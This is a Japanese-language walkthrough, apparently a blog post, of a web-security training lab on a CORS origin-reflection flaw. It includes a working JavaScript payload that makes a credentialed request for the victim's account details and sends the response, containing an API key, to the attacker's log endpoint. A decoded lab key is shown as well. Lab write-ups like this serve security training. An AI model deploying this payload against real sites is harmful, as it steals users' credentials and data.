Lab: CORS vulnerability with basic origin reflection
wienerでログインし、My accountページへ。
historyを確認
GET /accountDetails
レスポンスに
Access-Control-Allow-Credentials: true
がある
GET /accountDetails をリピータに。
Origin: https://example.com
をリクエストに追加し、send
レスポンスに、
Access-Control-Allow-Origin: https://example.com
が反映している
エクスプロイトサーバーのbodyに以下を入れて、View Exploitをクリック
*YOUR-LAB-IDは書き換えください
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
なにをやっているかというと、
/accountDetails を叩いて、レスポンスをハッカーのサイトに記録するjavascriptです。
このhtmlをハッカーのサイトにアップして、被害者に踏ます部分をシミュレーションしてます。
サーバー側で、
Access-Control-Allow-Credentials: true CORSをサポート
なので、
クライアント側に、
req.withCredentials = true;
することで、どのドメインからもアクセスし、レスポンスを受け取れる設定になってます
ログが表示されます
/log?key=以降に、取得したAPIキーが含まれてます。
/log?key= ではじまる行がなければ、一度リロードください
次は、被害者のキーを取得します。
エクスプロイトサーバーに戻って、Deliver exploit to victimをクリック
Access logをもう一度、確認
*私の環境では、
apikey%22:%20%22RJTHBo3xn8GkdxmdGaHaj3EXnvNtbo9U%22,
burp decoderでURLデコードして
“RJTHBo3xn8GkdxmdGaHaj3EXnvNtbo9U”
APIキーをSubmit solutionして、クリア!
–)v
コメント